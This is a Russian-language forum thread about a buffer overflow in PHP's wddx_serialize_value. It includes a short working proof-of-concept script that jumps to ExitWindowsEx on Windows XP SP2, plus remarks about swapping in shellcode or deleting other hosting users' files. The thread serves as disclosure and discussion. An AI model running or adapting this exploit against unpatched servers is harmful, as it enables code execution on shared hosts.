Найдены новые возможности в PHP :)

Если вы запустили и У ВАС ТОЧТО WinXP sp2, то что было:

  • Появился таки вопрос :)

    Голосов: 8 34,8%
  • Ничего, Апач упал в корку и т.д.

    Голосов: 15 65,2%

  • Всего проголосовало
    23

DiMA

php.spb.ru
Команда форума
Найдены новые возможности в PHP :)

Данный пример спросит, не хотите ли вы выключить компьютер :)

<?
$str='';
for ($i=1; $i<0xDA+8; $i++) $str.=chr($i);
$str.="\x49\x9B\xd7\x77";
$buf=wddx_serialize_value(array($str=>1), 'name');
?>

Работает в Windows XP sp2. Или не работает. Проверять вам :) Запускать через апач или php.exe, версия php не важна.
 

DiMA

php.spb.ru
Команда форума
Ничего страшного, просто очередная дыра переполнения буфера по всех версиях пхп (можно выполнять любой код с правами Апача). Багорепорт отправлен. Хрень переполняет буфер и вызывает ExitWindowsEx в Windows API.
 

mike_S

Новичок
а под никсами что происходит, интересно?
точнее, есть ли похожие баги?
 

Anarki

Новичок
Автор оригинала: mike_S
а под никсами что происходит, интересно?
точнее, есть ли похожие баги?
Я думаю, переполнение не особо зависит от ОС( пока по крайней мере, либо в простых случаях ).
А код (шелл-код) можно вписать и другой :)
С правами апача UNIX-like системы врядли перезагрузятся :)
 

DiMA

php.spb.ru
Команда форума
Не думаю, что проверить длину буфера в 40 байт перед вызовом sprintf(buf, "<val name='%s'>", "очень длинный ключ") забыли избирательно в виндовой версии.

Вообще-то буфер там не 40 байт, а 256 (это с вершины стека 40). Но из-за каких-то глюков в spritnf передается левый буфер и вообще никак не проверяется длина ключа массива.

Как я вчера и предполагал, на http://bugs.php.net/bug.php?id=34306 меня будут лечить, что пхп тут не причем, сами лохи и т.д. :)
 

DiMA

php.spb.ru
Команда форума
Да нифига не профиксили, читаем
http://bugs.php.net/bug.php?id=34306

"[email protected]: Я исправил 5-ку, начиная с текущего снапшота. Другие версии править не буду". +Он подтвердил, что дыра переполнения буфера есть и в линуховой версии. Т.о. найденная мной дырка доступна во всех версиях PHP ниже 5.1.0RC2 (выпущенных до 1 сентября) и на любых ОС. Как написать примитивный эксплоит для winxp я показал выше (он очень тупой, т.к. делает JMP на статический адрес библиотечной функции, но работает таки у многих). И это как, нормальное положение дел? Или в линухе каким-то чудесным образом приложение защищено от перехвата управления при переполнении буфера? Если увеличить длину ключа массива из примера, то можно затереть своей информацией весь стек до низу. В винде стек у такого примера где-то 2Кб, вполне достаточно. А если увеличить php-код, наверно и стек к моменту выполнения дырявой wddx_* будет больше.
 

jdoe

Новичок
все ветки кроме HEAD и 5_1, насколько я в курсе, заморожены.

ставьте 5-ку.
 

Long

Новичок
jdoe наверное, все же не в курсе - багфиксы идут (должны идти) и в четверку.
 

nerezus

Вселенский отказник
а нафиг фиксить - вреда-то нету =)
аналог system() получается =)
 

DiMA

php.spb.ru
Команда форума
что за бред ты несешь? Помещаем в стек строку с именем файла чужого юзера хостера и вызываем DeleteFile
 
Сверху